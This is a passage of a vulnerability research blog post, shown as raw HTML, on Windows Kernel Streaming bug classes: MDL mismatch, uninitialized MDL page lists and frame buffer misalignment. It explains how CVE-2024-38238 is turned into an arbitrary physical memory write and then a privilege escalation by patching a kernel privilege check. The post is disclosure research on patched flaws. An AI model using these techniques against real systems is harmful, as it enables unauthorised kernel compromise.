*PKSSTREAM_HEADER; </code></pre> <p>The kernel will use this structure to copy data from the device into memory. The most important fields are the <code class="language-plaintext highlighter-rouge">Data</code>, which points to your user-space buffer, and <code class="language-plaintext highlighter-rouge">FrameExtent</code>, which indicates the size of the buffer. Kernel Streaming will map a frame buffer based on these values and write the image data into the memory region you provided. Optionally, you can also use the <code class="language-plaintext highlighter-rouge">OptionsFlags</code> field to describe the attributes of the frame.</p> <h3 id="stream-reading-in-kernel-streaming">Stream Reading in Kernel Streaming</h3> <p>Let’s briefly introduce how ks implements reading a frame.</p> <p><img src="/assets/img/blog/20250517/9.png" alt="" /></p> <p>First, a buffer must be allocated in user space to store the incoming image data. Then, a <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER</code> structure is prepared, containing the buffer’s address and size, and passed to the kernel via an <code class="language-plaintext highlighter-rouge">IOCTL_KS_READ_STREAM</code>. When this IOCTL is sent to the webcam device, it is handled by <code class="language-plaintext highlighter-rouge">ksthunk.sys</code> and <code class="language-plaintext highlighter-rouge">ks.sys</code>. If the request does not originate from a WoW64 process, it will be passed to <code class="language-plaintext highlighter-rouge">ks.sys</code> for further processing.</p> <p><img src="/assets/img/blog/20250517/10.png" alt="" /></p> <p>Once <code class="language-plaintext highlighter-rouge">ks.sys</code> receives the request, it parses the <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER</code>, creates an MDL based on the provided buffer and size, and insert it to the IRP. The user-space buffer is then mapped into kernel space as a frame buffer through this MDL. At this point, both the user buffer and the frame buffer point to the same physical memory, enabling efficient zero-copy data transfers between user space and kernel space.</p> <p><img src="/assets/img/blog/20250517/11.png" alt="" /></p> <p>Finally, <code class="language-plaintext highlighter-rouge">ks.sys</code> allocates a <code class="language-plaintext highlighter-rouge">KS Frame (_KSPFRAME_HEADER)</code> in kernel. This structure contains the associated MDL, a pointer to the frame buffer, the buffer size, and other metadata used for managing the streaming operation.</p> <p><img src="/assets/img/blog/20250517/12.png" alt="" /></p> <p>The <code class="language-plaintext highlighter-rouge">KS FRAME</code> is then placed into an internal queue, where it waits to be filled with data. Next, the Kernel Streaming worker thread dequeues a <code class="language-plaintext highlighter-rouge">KS FRAME</code> and begins capturing image data from the device into the associated frame buffer. Any remaining <code class="language-plaintext highlighter-rouge">KS FRAME</code> structures in the queue will be processed one by one in the order they were enqueued.</p> <p><img src="/assets/img/blog/20250517/13.png" alt="" /></p> <p>By the way, it’s also possible to submit multiple <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER</code> structures in a single IOCTL call to request multiple frames. In that case, <code class="language-plaintext highlighter-rouge">ks.sys</code> will process each frame request in order, based on the <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER</code> array provided in the input buffer. Each frame has a <strong>one-to-one mapping with a <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER</code>, an MDL, and a <code class="language-plaintext highlighter-rouge">KS FRAME</code></strong>.</p> <p>With the basics of the architecture and frame reading in place, we can now examine things from an attacker’s point of view.</p> <h3 id="from-attackers-perspective">From Attacker’s Perspective</h3> <p>So, where should we focus our attention?</p> <p><img src="/assets/img/blog/20250517/14.png" alt="" /></p> <p>The first and most intuitive target is the transition between <code class="language-plaintext highlighter-rouge">ksthunk.sys</code> and <code class="language-plaintext highlighter-rouge">ks.sys</code>.When 32-bit requests are converted to 64-bit, improper handling of user-controlled <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER</code> structures may lead to memory corruption — for example, <a href="https://github.com/Black-Frost/windows-learning/tree/main/CVE-2024-38054">CVE-2024-38054</a> is one such case. This transition layer can also introduce inconsistency issues.</p> <p><img src="/assets/img/blog/20250517/15.png" alt="" /></p> <p>Another interesting target is how <code class="language-plaintext highlighter-rouge">ks.sys</code> manages frame buffers. If MDLs are <strong>misused</strong> during frame buffer handling, it can result in various forms of memory corruption. We’ll examine some examples of these issues later.</p> <p>In the course of our research on Kernel Streaming, we identified several new bug classes worth highlighting.</p> <h2 id="new-bug-classes-in-kernel-streaming">New Bug Classes in Kernel Streaming</h2> <p>The first bug class we identified is MDL mismatch.</p> <h3 id="mdl-mismatch">MDL Mismatch</h3> <p>When <code class="language-plaintext highlighter-rouge">ksthunk.sys</code> receives a 32-bit request, it not only converts the request to its 64-bit equivalent, but also pre-allocates an MDL to describe the frame buffer.</p> <p><img src="/assets/img/blog/20250517/16.png" alt="" /></p> <p>As illustrated in the diagram, when a 32-bit request is issued, <code class="language-plaintext highlighter-rouge">ksthunk.sys</code> is the first to handle it. During this step, it sets up the MDL and performs the mapping for the frame buffer.</p> <p><img src="/assets/img/blog/20250517/17.png" alt="" /></p> <p>Once <code class="language-plaintext highlighter-rouge">ksthunk.sys</code> completes its preprocessing, it passes the IRP to <code class="language-plaintext highlighter-rouge">ks.sys</code> for further handling. Since the MDL has already been created by <code class="language-plaintext highlighter-rouge">ksthunk.sys</code>, <code class="language-plaintext highlighter-rouge">ks.sys</code> will <strong>not</strong> allocate a new one. At this point, a <code class="language-plaintext highlighter-rouge">KS FRAME</code> is allocated to represent the frame within the Kernel Streaming framework.</p> <p><img src="/assets/img/blog/20250517/18.png" alt="" /></p> <p>Moreover, if multiple frames are requested in a single call, <code class="language-plaintext highlighter-rouge">ksthunk.sys</code> will pre-allocate all the necessary MDLs and perform the corresponding frame buffer mappings.</p> <p>However, if the OptionsFlags field is set to <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER_OPTIONSF_PERSIST_SAMPLE (0x8000)</code>, <code class="language-plaintext highlighter-rouge">ksthunk.sys</code> will skip the normal MDL allocation process. This flag is actually part of Kernel Streaming’s MDL caching mechanism. While we won’t go into the full details here, it’s important to understand that enabling this flag <strong>causes ksthunk to skip MDL allocation for that frame</strong>.</p> <p>Additionally, since each frame is handled independently, it’s possible to intentionally mark only one of the submitted frames as caching by setting the <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER_OPTIONSF_PERSIST_SAMPLE</code> flag on that specific frame when submitting multiple frames in a single request.</p> <p>Let me give you an example :</p> <p><img src="/assets/img/blog/20250517/19.png" alt="" /></p> <p>Suppose we submit two frames, with the second frame marked as caching.</p> <p><img src="/assets/img/blog/20250517/20.png" alt="" /></p> <p><code class="language-plaintext highlighter-rouge">ksthunk.sys</code> will check the <code class="language-plaintext highlighter-rouge">OptionsFlags</code> field for each frame. If the cache flag is <strong>not</strong> set, it allocates an MDL and maps the frame buffer accordingly. Since the second frame <strong>has</strong> the cache flag set, <code class="language-plaintext highlighter-rouge">ksthunk.sys</code> will skip MDL allocation for that frame.</p> <p><img src="/assets/img/blog/20250517/21.png" alt="" /></p> <p>After that, the IRP is passed down to <code class="language-plaintext highlighter-rouge">ks.sys</code>, which will once again inspect the <code class="language-plaintext highlighter-rouge">OptionsFlags</code> field for each frame. However, the logic here is reversed compared to <code class="language-plaintext highlighter-rouge">ksthunk.sys</code>.</p> <ul> <li>For the first frame — because it doesn’t have the cache flag — ks.sys assumes the MDL has already been allocated by ksthunk, and therefore skips MDL allocation.</li> <li>For the second frame, since the cache flag is set, <code class="language-plaintext highlighter-rouge">ks.sys</code> will allocate a new MDL and map the frame buffer.</li> </ul> <p><img src="/assets/img/blog/20250517/22.png" alt="" /></p> <p><code class="language-plaintext highlighter-rouge">ks.sys</code> then creates <code class="language-plaintext highlighter-rouge">KS FRAME</code> based on <strong>the order of the <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER</code> entries</strong>. Each KSFRAME is paired one-to-one with its corresponding MDL, and the frames are placed into an internal queue, waiting to be pulled and processed by the worker thread.</p> <blockquote> <p>But… is it really safe ?</p> </blockquote> <p>There seems to be something inconsistent. <strong>Let’s abuse the MDL chain !</strong></p> <p><img src="/assets/img/blog/20250517/23.png" alt="" /></p> <p>Suppose we submit two frames:</p> <ul> <li>For the first frame, we set the buffer size to <code class="language-plaintext highlighter-rouge">0x1000</code> and enable the cache flag.</li> <li>For the second frame, we set the buffer size to <code class="language-plaintext highlighter-rouge">0x20000</code>, but do not set the cache flag.</li> </ul> <p><img src="/assets/img/blog/20250517/24.png" alt="" /></p> <p><code class="language-plaintext highlighter-rouge">ksthunk.sys</code> checks each stream header as usual. For the first frame, since <strong>the cache flag is set</strong>, it <strong>skips</strong> MDL allocation. For the second frame, since the cache flag is <strong>not</strong> set, ksthunk allocates a new MDL and maps the frame buffer accordingly.</p> <p><img src="/assets/img/blog/20250517/25.png" alt="" /></p> <p>After that, the IRP is passed down to <code class="language-plaintext highlighter-rouge">ks.sys</code>, which once again inspects the <code class="language-plaintext highlighter-rouge">OptionsFlags</code> field for each frame.</p> <ul> <li>For the first frame, since the cache flag is set, <code class="language-plaintext highlighter-rouge">ks.sys</code> will allocate a new MDL, map the frame buffer, and insert it into the MDL chain.</li> <li>For the second frame, the cache flag is not set, so <code class="language-plaintext highlighter-rouge">ks.sys</code> assumes the MDL has already been allocated by ksthunk, and therefore skips the allocation.</li> </ul> <p><img src="/assets/img/blog/20250517/26.png" alt="" /></p> <p>Finally, <code class="language-plaintext highlighter-rouge">ks.sys</code> creates <code class="language-plaintext highlighter-rouge">KS FRAME</code> based on the MDL chain and the corresponding <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER</code> entries. The <code class="language-plaintext highlighter-rouge">FrameExtent</code> field from each header is stored into the associated <code class="language-plaintext highlighter-rouge">KS FRAME</code>, defining the expected frame size.</p> <p><img src="/assets/img/blog/20250517/27.png" alt="" /></p> <p>As shown in the diagram above, the first frame will have a size of 0x1000 stored, while the second frame will have 0x20000 stored.</p> <p><strong>Do you notice the problem?</strong> After we run it …</p> <p><img src="/assets/img/blog/20250517/28.png" alt="" /></p> <blockquote> <p>Why ?</p> </blockquote> <p><img src="/assets/img/blog/20250517/29.png" alt="" /></p> <p>The root cause of this issue is a mismatch between each <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER</code> and its corresponding MDL. For example, the first <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER</code> gets paired with the MDL of the second frame, while the second <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER</code> ends up linked to the MDL of the first frame.</p> <blockquote> <p>What’s the actual impact?</p> </blockquote> <p><img src="/assets/img/blog/20250517/30.png" alt="" /></p> <p>When the worker copies data from the device, it relies on the buffer address and size stored in each <code class="language-plaintext highlighter-rouge">KS FRAME</code> to perform the copy operation. Both frames are treated the same — the worker refers to the <code class="language-plaintext highlighter-rouge">KS FRAME</code> structure to determine where and how much data to copy. However, here lies the problem…</p> <p><img src="/assets/img/blog/20250517/31.png" alt="" /></p> <p>For the second <code class="language-plaintext highlighter-rouge">KS FRAME</code>, the actual allocated buffer is only <code class="language-plaintext highlighter-rouge">0x1000</code> bytes, but the <code class="language-plaintext highlighter-rouge">FrameExtent</code> field in the structure indicates a size of <code class="language-plaintext highlighter-rouge">0x20000</code>. As a result, the worker attempts to copy <code class="language-plaintext highlighter-rouge">0x20000</code> bytes into <strong>a much smaller buffer</strong>, leading to a buffer overflow.</p> <p>In fact, several of the vulnerabilities we discovered stem from this exact issue. As long as an attacker can create a mismatch between a <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER</code> and its corresponding MDL, the result is a buffer overflow.</p> <ul> <li>CVE-2024-38237</li> <li>CVE-2025-21375</li> <li>…</li> </ul> <p>The second bug class we’re going to discuss is called <code class="language-plaintext highlighter-rouge">The Forgotten Lock in MDL</code> — a vulnerability pattern involving incorrect handling of MDL.</p> <p>This bug class is a bit more special</p> <h3 id="the-forgotten-lock">The Forgotten Lock</h3> <p>Actually, it is an <strong>uninitialized issue</strong> in MDL.</p> <p>Before we discuss this issue, let’s first look at some common mistakes developers make when working with MDLs.</p> <h4 id="security-risks-of-mdl">Security Risks of MDL</h4> <p>The first one is a common issued recently — one that I also mentioned in a <a href="https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/#cve-2023-29360---logical-vulnerability">previous post</a>.</p> <blockquote> <p>Incorrect <code class="language-plaintext highlighter-rouge">access mode</code> flag in <code class="language-plaintext highlighter-rouge">MmProbeAndLockPages</code></p> </blockquote> <p><img src="/assets/img/blog/20250517/32.png" alt="" /></p> <p>When the kernel calls <code class="language-plaintext highlighter-rouge">MmProbeAndLockPages</code> to lock a user-supplied memory buffer, it may incorrectly set the <code class="language-plaintext highlighter-rouge">access mode</code> flag. This mistake causes the kernel to skip the check that verifies whether the target address belongs to user space. As a result, a user-mode process could supply a kernel-mode address, leading to arbitrary memory writes in kernel space.</p> <p>For more details, please refer to <a href="https://conference.hitb.org/hitbsecconf2023hkt/materials/D2T1%20-%20Windows%20Kernel%20Security%20-%20A%20Deep%20Dive%20into%20Two%20Exploits%20Demonstrated%20at%20Pwn2Own%20-%20Thomas%20Imbert.pdf">Synacktiv’s presentation at HITB 2023 HKT</a> and <a href="https://x.com/Big5_sec">Nicolas Zilio(@Big5_sec)</a> ‘s blog <a href="https://big5-sec.github.io/posts/CVE-2023-29360-analysis/">post</a>.</p> <blockquote> <p>Double Free in I/O Complete</p> </blockquote> <p><img src="/assets/img/blog/20250517/33.png" alt="" /></p> <p>Another common issue occurs when a kernel driver frees an MDL without clearing the corresponding MDL pointer in the IRP. Later, when the IRP is completed, the system attempts to free the MDL again, resulting in a double free vulnerability during <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iocompleterequest">IoCompleteRequest</a>. This pattern can also be found in Kernel Streaming(<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24046">CVE-2025-24046</a>).</p> <p><img src="/assets/img/blog/20250517/34.png" alt="" /></p> <p>When frame allocation fails, <code class="language-plaintext highlighter-rouge">ks.sys</code> releases the MDLs in the MDL chain, but it does not clear the MDL pointer stored in the IRP. As a result, the MDL is freed again when the IRP completes — leading to a double free.</p> <p>These two bug patterns are quite common, there are many more overlooked issues out there.</p> <p>Let’s take an example from <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/driversecurity/driver-security-dev-best-practices">Microsoft driver Security Guidance</a>.</p> <p>In this document, Microsoft warns that if developers use <code class="language-plaintext highlighter-rouge">MmMapIoSpace</code> without properly validating the physical address, it could result in arbitrary physical memory being mapped into virtual address space — potentially leading to serious security issues.</p> <p>To illustrate safe usage, Microsoft provides the following secure coding example:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Func ConstrainedMap(PHYSICAL_ADDRESS paAddress) { // expected_Address must be constrained to required usage boundary to prevent abuse if(paAddress == expected_Address &amp;&amp; qwSize == valid_Size) //-----[1] { lpAddress = MmMapIoSpace(paAddress, qwSize, ...); pMdl = IoAllocateMdl( lpAddress, ...); //----------[2] MmMapLockedPagesSpecifyCache(pMdl, UserMode, ... ); //-------------[3] } else { return error; } } </code></pre></div></div> <p>First, the physical address is validated at [1]. Then, at [2], an MDL is allocated to describe the mapped memory region.Finally, [3] calls MmMapLockedPagesSpecifyCache to map the physical memory into a user-space virtual address.</p> <blockquote> <p>Now… you might notice something strange here.</p> </blockquote> <p>As we mentioned earlier, in typical usage, after allocating an MDL, you are expected to call <code class="language-plaintext highlighter-rouge">MmProbeAndLockPages</code> to lock the underlying physical pages. However, in this case, the code calls <code class="language-plaintext highlighter-rouge">MmMapLockedPagesSpecifyCache</code> directly, without locking the pages first. This results in undefined behavior, as the MDL may not correctly describe valid or accessible physical memory.</p> <p><img src="/assets/img/blog/20250517/35.png" alt="" /></p> <p>As shown in diagram above, <code class="language-plaintext highlighter-rouge">IoAllocateMdl</code> is used to allocate the MDL structure and initialize some basic metadata. However, if we immediately call <code class="language-plaintext highlighter-rouge">MmMapLockedPagesSpecifyCache</code> without first locking the pages,the function will still attempt to access the PFN array inside the MDL. This can lead to undefined behavior, or worse, controlled memory corruption. In many cases, this leads directly to a BSoD.</p> <p><img src="/assets/img/blog/20250517/36.png" alt="" /></p> <p>However, this kind of mistake is widespread throughout Kernel Streaming. In the following section, I will examine CVE-2024-38238, which clearly demonstrates this issue in practice.</p> <h4 id="cve-2024-38238">CVE-2024-38238</h4> <p>We once again construct two <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER</code> structures — and this time, both frames are of the same size. The first frame has the cache flag set, while the second frame does not.</p> <p><img src="/assets/img/blog/20250517/37.png" alt="" /></p> <p>As mentioned earlier, <code class="language-plaintext highlighter-rouge">ksthunk.sys</code> will allocate and lock an MDL only for the frame that does not have the cache flag set. Once that’s done, the IRP is passed down to <code class="language-plaintext highlighter-rouge">ks.sys</code> for further processing.</p> <p>Now, let’s take a closer look at how <code class="language-plaintext highlighter-rouge">ks.sys</code> handles this frame.</p> <pre><code class="language-cpp=">__int64 CKsMdlcache::MdlCacheHandleThunkBufferIrp(...) { ... while(TotalSize &gt;= sizeof(KSSTREAM_HEADER)){ //-------[4] ... if(OptionsFlag &amp; 0x8000 == 0) //-------[5] return KsProbeStreamIrp(irp, a3, 0); //-------[8] IoAllocateMdl(header-&gt;Data,header-&gt;FrameExtent,...,Irp); //-------[6] } ... for(i = irp-&gt;MdlAddress;i;i = i-&gt;Next){ MmProbeAndLockPages(i, irp-&gt;RequestorMode, IoWriteAccess); //-------[7] } } </code></pre> <p>Looking at the while loop in <code class="language-plaintext highlighter-rouge">ks!CKsMdlcache::MdlCacheHandleThunkBufferIrp</code> at [4], we can see that it iterates through each <code class="language-plaintext highlighter-rouge">KSSTREAM_HEADER</code> and checks the <code class="language-plaintext highlighter-rouge">OptionsFlag</code>s at [5] to determine whether an MDL should be allocated.</p> <p>If the cache flag is set, it proceeds to allocate a new MDL at [6]. Under WOW64, if the MDL was already allocated (e.g., by ksthunk), KS will then call <code class="language-plaintext highlighter-rouge">MmProbeAndLockPages</code> at [7] to lock the memory pages.</p> <p>However, in our specific case:</p> <ul> <li>The first frame has the cache flag set.</li> <li>The second frame does not.</li> </ul> <p>So, when KS begins processing the second frame, it takes the path to KsProbeStreamIrp at [8]. At this point, the MDL chain inside the IRP looks like this:</p> <p><img src="/assets/img/blog/20250517/38.png" alt="" /></p> <p>The first MDL has already been properly locked, but the second one is not locked at all.</p> <p>After that, <code class="language-plaintext highlighter-rouge">ks!KsProbeStreamIrp</code> handles the mapping of the frame buffers:</p> <pre><code class="language-cpp="> NTSTATUS KsProbeStreamIrp(PIRP Irp, ULONG ProbeFlags, ULONG HeaderSize){ ... MDL = Irp-&gt;MdlAddress; if ( (MDL-&gt;MdlFlags &amp; is_locked_and_nonpaged) != 0 ) { //----[9] while ( MDL ) { if ( (MdlFlags &amp; 5) != 0 ) MappedSystemVa = MDL-&gt;MappedSystemVa; else MappedSystemVa = MmMapLockedPagesSpecifyCache(MDL, 0, MmCached, 0LL, 0, 0x40000010u); MDL = MDL-&gt;Next; } } } </code></pre> <p>As shown above, the function uses <code class="language-plaintext highlighter-rouge">MmMapLockedPagesSpecifyCache</code> to map the frame buffer by each MDL. If the MDL is marked as locked, the function maps it directly. However, there’s a critical flaw: It <strong>only checks the first MDL</strong> in the MDL chain at [9], and assumes that the entire chain has already been locked.</p> <p><img src="/assets/img/blog/20250517/39.png" alt="" /></p> <p>When <code class="language-plaintext highlighter-rouge">MmMapLockedPagesSpecifyCache</code> is called on the second MDL, it attempts to map memory based on an uninitialized PFN list.</p> <blockquote> <p>Unexploitatble ?</p> </blockquote> <p>The good news is that <code class="language-plaintext highlighter-rouge">IoAllocateMdl</code> allocates memory <strong>from NonPagedPoolNx</strong> <strong>without zero-initializing it</strong>. This means the PFN array located at the end of the MDL structure will contain leftover memory.</p> <p><img src="/assets/img/blog/20250517/40.png" alt="" /></p> <p>As shown above, when IoAllocateMdl allocates memory, it uses the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/pool_flags">POOL_FLAG_UNINITIALIZED</a> flag, and does not initialize the PFN array in the MDL. This behavior allows us to apply pool spraying techniques to gain partial or full control over the PFN values inside the MDL.</p> <p>By calculating the exact size of the MDL structure — including the number of PFNs based on the frame size — we can perform a <a href="https://www.alex-ionescu.com/?p=231">pool spray using Named Pipes</a> to populate <code class="language-plaintext highlighter-rouge">NonPagedPoolNx</code> memory with carefully crafted data.</p> <p><img src="/assets/img/blog/20250517/41.png" alt="" /></p> <p>When<code class="language-plaintext highlighter-rouge">IoAllocateMdl</code> reuses this memory without zero-initialization, the leftover values will be interpreted as valid PFNs, giving the attacker control over physical-to-virtual mappings.</p> <p><img src="/assets/img/blog/20250517/42.png" alt="" /></p> <p>As shown above, when <code class="language-plaintext highlighter-rouge">MmMapLockedPagesSpecifyCache</code> is called afterward, it treats the attacker-controlled PFNs as valid physical page mappings and uses them to map the frame buffer.</p> <p>Finally, when the worker thread copies image data from the device, it writes directly to the physical addresses specified by the attacker, resulting in a powerful arbitrary physical memory write primitive.</p> <p>Actually, not all PFNs can be mapped — they must be valid, such as <code class="language-plaintext highlighter-rouge">ResidentPage</code>. But for our purposes, that’s more than enough.</p> <p>The next step is to achieve elevation of privilege (EoP) using the arbitrary physical memory write primitive. But that raises the question:</p> <blockquote> <p>Where should we write?</p> </blockquote> <p>During testing on several Windows 24H2, we observed a consistent behavior: the physical base address of <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> was typically fixed at 0x100400000.</p> <p><img src="/assets/img/blog/20250517/43.png" alt="" /></p> <p>We tested it on Hyper-V and VMware. The value might have changed in newer builds, but it’s still likely to remain fixed in many cases. This behavior may also depend on the device or hardware configuration.</p> <blockquote> <p>So … does that mean we can just write directly to nt and take over the kernel?</p> </blockquote> <p>There is a problem ……</p> <p><img src="/assets/img/blog/20250517/44.png" alt="" /></p> <p>We cannot control the data being written, because it comes directly from the webcam device.</p> <p>Initially, it seemed like we were stuck. But with a primitive this powerful — stable and repeatable arbitrary physical memory writes — we knew there had to be a way forward.</p> <p>So we went back, carefully reviewed the entire Kernel Streaming workflow, and eventually discovered a new angle of attack.</p> <blockquote> <p>Buffered</p> </blockquote> <p>Kernel Streaming offers a feature called buffered mode. When a <code class="language-plaintext highlighter-rouge">KS FRAME</code> is created with the <strong>buffered flag(KSSTREAM_HEADER_OPTIONSF_BUFFEREDTRANSFER)</strong> set, <code class="language-plaintext highlighter-rouge">ks.sys</code> allocates an additional intermediate buffer in kernel space.</p> <p><img src="/assets/img/blog/20250517/45.png" alt="" /> <img src="/assets/img/blog/20250517/46.png" alt="" /></p> <p>During the streaming process, the contents from the original image buffer are first copied into this intermediate buffer.</p> <p><img src="/assets/img/blog/20250517/47.png" alt="" /> <img src="/assets/img/blog/20250517/48.png" alt="" /></p> <p>As shown in diagram above, after the device finishes writing data — or if an error occurs during the transfer — <code class="language-plaintext highlighter-rouge">ks.sys</code> will copy the contents of the buffered memory into the frame buffer. However, in our case, this frame buffer has already been mapped to the physical address of the <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> image. In other words, we now have an <strong>arbitrary physical memory write primitive</strong> with fully controlled data. This opens the door to directly modifying kernel code.</p> <p><img src="/assets/img/blog/20250517/49.png" alt="" /></p> <p>In our exploit, we chose to overwrite a security check inside PsOpenProcess. Specifically, we replaced the check for <code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code> with <code class="language-plaintext highlighter-rouge">SeChangeNotifyPrivilege</code>. As a result, any normal user can open a high-privilege process except PPL. For more details on the technique of replacing the check with <code class="language-plaintext highlighter-rouge">SeChangeNotifyPrivilege</code>, you can refer to <a href="https://devco.re/blog/2024/10/05/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part2-en/#make-abusing-token-privilege-great-again-">my previous post</a>.</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/OBY6kJ2sxME?si=oJA1FKRKcMbj6G1_" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe> <p>There are multiple ways to cause this issue in Kernel Streaming</p> <ul> <li>CVE-2024-38238</li> <li>CVE-2024-38241</li> <li>CVE-2025-24066</li> <li>…</li> </ul> <p>As long as you find a way to make it forget lock, it can result in an arbitrary physical memory writing.</p> <p>The last issue we would like to share is <strong>Frame Buffer Misalignment</strong>.</p> <h3 id="frame-buffer-misalignment-cve-2024-38245">Frame Buffer Misalignment (CVE-2024-38245)</h3> <p>Before diving into that, we first need to introduce a key object in Kernel Streaming: the <a href="https://learn.microsoft.com/sr-latn-rs/windows-hardware/drivers/stream/ks-allocators">KS Allocator</a>. The KS Allocator is responsible for pre-allocating a set of frame buffers that can be reused during streaming operations. This significantly reduces the overhead of dynamic memory allocation at runtime. Typically, an allocator object is associated with a pin, and third-party drivers can also implement their own custom allocator if needed. Kernel Streaming also provides a default allocator for use when no custom implementation is specified.</p> <p>In general, a KS Allocator can be created using the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ks/nf-ks-kscreateallocator">KsCreateAllocator</a> API, and configured through a structure called <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ks/ns-ks-ksallocator_framing">KSALLOCATOR_FRAMING</a>. This structure allows you to specify parameters such as the number of frame buffers, the size of each buffer, and even the alignment requirements for each frame buffer.</p> <pre><code class="language-cpp=">typedef struct { union { ULONG OptionsFlags; ULONG RequirementsFlags; }; #if ... POOL_TYPE PoolType; #else ULONG PoolType; #endif ULONG Frames; ULONG FrameSize; union { ULONG FileAlignment; LONG FramePitch; }; ULONG Reserved; } KSALLOCATOR_FRAMING, *PKSALLOCATOR_FRAMING; </code></pre> <p><strong>Note :</strong> To specify the alignment of a frame buffer, you must provide an alignment mask during allocator configuration.</p> <p>After creating a KS Allocator, we can attach it to the pin. Before reading data from the pin, we need to set its state to <strong>KSSTATE_RUN</strong>.</p> <p><img src="/assets/img/blog/20250517/50.png" alt="" /></p> <p>At that moment, the allocator will pre-allocate the number of frame buffers based on the configuration provided earlier.</p> <p><img src="/assets/img/blog/20250517/51.png" alt="" /></p> <p>From that point on, data is streamed from the device into pre-allocated frame buffers. Corresponding <code class="language-plaintext highlighter-rouge">KS FRAME</code> structures are also allocated. When we send an <code class="language-plaintext highlighter-rouge">IOCTL_KS_READ_STREAM</code> to read data, the process begins just as described earlier.</p> <p><img src="/assets/img/blog/20250517/52.png" alt="" /></p> <p>However, instead of reading data from the device each time, the worker thread will copy data from the pre-allocated frame buffers managed by the allocator. In the following section, we’ll focus on how the default allocator manages these pre-allocated buffers.</p> <p>Let’s take a deeper look at <strong>DefaultAllocator</strong>.</p> <p>ks!KsCreateDefaultAllocatorEx <img src="/assets/img/blog/20250517/53.png" alt="" /></p> <p>When we call <code class="language-plaintext highlighter-rouge">KsCreateAllocator</code>, Kernel Streaming creates a default allocator and initializes it using the parameters we provide. Internally, <code class="language-plaintext highlighter-rouge">ks.sys</code> implements its own custom allocation routine - <code class="language-plaintext highlighter-rouge">DefAllocatorAlloc</code> and <code class="language-plaintext highlighter-rouge">DefAllocaorFree</code> — and utilizes a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-lookaside-lists">LookasideList</a> to efficiently manage buffer allocations and reuse.</p> <p>The allocation function is quite simple :</p> <pre><code class="language-cpp=">char *__fastcall DefAllocatorAlloc(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG Alignment) { ... if ( Alignment &gt;= FILE_OCTA_ALIGNMENT ) FileAlignment = Alignment; ... buffer = ExAllocatePoolWithTag((PoolType | 0x400), v8, 'adSK');//-----[10] if ( buffer ) { padding = (~FileAlignment &amp; (buffer + FileAlignment + 4)) - buffer; buffer += padding; *(buffer - 1) = padding; //-------[11] } } </code></pre> <p>It simply calls <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-exallocatepoolwithtag">ExAllocatePoolWithTag</a> to allocate memory at [10]. If an alignment is specified, <code class="language-plaintext highlighter-rouge">ks.sys</code> records the size of the required padding in front of the frame buffer, as shown at [11].</p> <p>In the free routine :</p> <pre><code class="language-cpp=">void __fastcall DefAllocatorFree(unsigned int *Buffer) { __int64 padding; ... if ( (Buffer &amp; 0xFFF) != 0 ) padding = *(Buffer - 1); //---------------[12] else padding = 0LL; ExFreePoolWithTag(Buffer - padding, 0); } </code></pre> <p>KS use this padding size to calculate the original pointer returned by <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-exallocatepoolwithtag">ExAllocatePoolWithTag</a> at [12].</p> <p>As shown in the diagram below, the memory layout of the pool looks like this:</p> <p><img src="/assets/img/blog/20250517/54.png" alt="" /></p> <p>The purple region represents the padding, while the blue region corresponds to the frame buffer itself. The 4 bytes immediately preceding the frame buffer are used to store the padding size. Under normal case, the alignment mask is expected to be a power-of-two minus one (e.g., 0x3F, 0xFFF, etc.).</p> <p>However, here’s the problem:</p> <p><img src="/assets/img/blog/20250517/55.png" alt="" /></p> <p>KS only checks whether the alignment mask is greater than 0xFFF. If it’s less than 0xFFF, it accepts any value, even if it’s not a valid alignment.</p> <blockquote> <p>Useless Bug ?</p> </blockquote> <p>At first glance, this might seem like a harmless bug — just a minor issue with memory alignment. But what happens when that misaligned buffer meets the <code class="language-plaintext highlighter-rouge">LookasideList</code>?</p> <h4 id="lookasidelist"><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-lookaside-lists">LookasideList</a></h4> <p><code class="language-plaintext highlighter-rouge">LookasideList</code> are per-processor caches optimized for fixed-size memory blocks. Instead of using the general pool allocator, they maintain a simple singly linked list for fast allocation and deallocation. <strong>Both allocations and frees always check the list first before using the general pool, and the list operates in LIFO (Last-In, First-Out) order.</strong> One important constraint is that entries stored in the <code class="language-plaintext highlighter-rouge">LookasideList</code> <strong>is expected to be aligned to 0x10 bytes</strong>. You can refer to <a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-slist_entry"><code 